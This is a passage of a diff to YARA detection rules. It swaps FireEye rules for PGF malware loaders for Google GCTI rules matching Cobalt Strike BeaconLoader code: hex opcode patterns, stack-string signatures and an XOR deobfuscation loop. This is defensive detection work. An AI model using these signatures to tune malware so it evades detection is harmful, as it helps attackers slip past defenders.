-		$cond3 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF F0 EF D5 63 C7 85 30 F9 FF FF CC FF D5 63 8D 85 34 F9 FF FF 89 28 BA 28 1B D4 63 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BF A6 00 00 A1 64 A1 D9 63 C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 BC AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 5A 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 E3 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 56 0B 01 00 A1 68 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 55 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 F3 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 86 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 88 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 7E 40 D9 63 A1 7C A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 8A 40 D9 63 89 04 24 A1 80 A1 D9 63 FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 D9 63 FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 D4 63 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 D4 63 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 61 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 4C 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A4 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 01 BC 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 79 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 7A A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
-		$cond4 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? 90 EE 01 6D C7 85 ?? ?? ?? ?? 6C FE 01 6D 8D 85 ?? ?? ?? ?? 89 28 BA CC 19 00 6D 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 0C 40 05 6D A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 18 40 05 6D 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 00 6D 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 00 6D 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
-		$cond5 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? B0 EF 3D 6A C7 85 ?? ?? ?? ?? 8C FF 3D 6A 8D 85 ?? ?? ?? ?? 89 28 BA F4 1A 3C 6A 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 62 40 41 6A A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 6E 40 41 6A 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 3C 6A 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 3C 6A 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
-		$cond6 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? F0 EF D5 63 C7 85 ?? ?? ?? ?? CC FF D5 63 8D 85 ?? ?? ?? ?? 89 28 BA 28 1B D4 63 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 7E 40 D9 63 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 8A 40 D9 63 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 D4 63 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 D4 63 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
+		$core_sig = {
+      C6 45 EC 4D
+      C6 45 ED 61
+      C6 45 EE 70
+      C6 45 EF 56
+      C6 45 F0 69
+      C6 45 F1 65
+      C6 45 F2 77
+      C6 45 F3 4F
+      C6 45 F4 66
+      C6 45 F5 46
+      C6 45 F6 69
+      C6 45 F7 6C
+      C6 45 F8 65
+      C6 45 F9 00
+    }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Loader_Win64_PGF_4 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beaconloader_VA_X86_O_V4_3_V4_4_V4_5_And_V4_6
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "4c93ba76-d3a5-568d-88b8-79a6ebc2edbb"
-		date = "2020-11-26"
-		date = "2020-11-26"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_4.yar#L4-L17"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "3bb34ebd93b8ab5799f4843e8cc829fa"
-		logic_hash = "fcc92674e58ec6418d7c709e3f3bc2e1ec859fe0cb444412964a978fb69f5234"
+		description = "Cobalt Strike's sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6"
+		author = "gssincla@google.com"
+		id = "5f89c4be-f4c5-54d3-b923-d125de53902f"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L114-L194"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1"
+		logic_hash = "19b2297986bd72204fb117560cddcfb512f5db6c157d9730b5802bf9f968eef4"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$sb1 = { 41 B9 04 00 00 00 41 B8 00 10 00 00 BA [4] B9 00 00 00 00 [0-32] FF [1-24] 7? [1-150] 8B 45 [0-32] 44 0F B? ?? 8B [2-16] B? CD CC CC CC [0-16] C1 ?? 04 [0-16] C1 ?? 02 [0-16] C1 ?? 02 [0-16] 48 8? 05 [4-32] 31 [1-4] 88 }
-		$sb2 = { C? 45 ?? 48 [0-32] B8 [0-64] FF [0-32] E0 [0-32] 41 B8 40 00 00 00 BA 0C 00 00 00 48 8B [2] 48 8B [2-32] FF [1-16] 48 89 10 8B 55 ?? 89 ?? 08 48 8B [2] 48 8D ?? 02 48 8B 45 18 48 89 02 }
+		$core_sig = {
+      C6 45 B0 56
+      C6 45 B1 69
+      C6 45 B2 72
+      C6 45 B3 74
+      C6 45 B4 75
+      C6 45 B5 61
+      C6 45 B6 6C
+      C6 45 B7 41
+      C6 45 B8 6C
+      C6 45 B9 6C
+      C6 45 BA 6F
+      C6 45 BB 63
+      C6 45 BC 00
+    }
+		$deobfuscator = {
+      8B 4D FC
+      83 C1 01
+      89 4D FC
+      8B 55 FC
+      3B 55 0C
+      73 19
+      0F B6 45 10
+      8B 4D 08
+      03 4D FC
+      0F BE 11
+      33 D0
+      8B 45 08
+      03 45 FC
+      88 10
+      EB D6
+    }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Loader_Win32_PGF_5 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beaconloader_X86_O_V4_3_V4_4_V4_5_And_V4_6
 {
 	meta:
-		description = "PGF payload, generated rule based on symfunc/a86b004b5005c0bcdbd48177b5bac7b8"
-		author = "FireEye"
-		id = "376875f3-00f2-58d0-ae22-7f52ea566da2"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_5.yar#L4-L18"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "8c91a27bbdbe9fb0877daccd28bd7bb5"
-		logic_hash = "dfff615a1d329cf181294f7b0a32c11a21d66ff8a6aa6b9fcd183c9738369623"
+		description = "Cobalt Strike's sleeve/BeaconLoader.x86.o Versions 4.3 through at least 4.6"
+		author = "gssincla@google.com"
+		id = "32a47966-f3bb-52c3-a977-82a1b09ddf2c"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L196-L276"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1"
+		logic_hash = "cab5441ce7d919101fc04aa469e77b71a4c444443e44c752f18cbbc5b17ed5c2"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 3
+		quality = 85
+		tags = ""
 
 	strings:
-		$cond1 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 10 30 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 5C 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 00 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 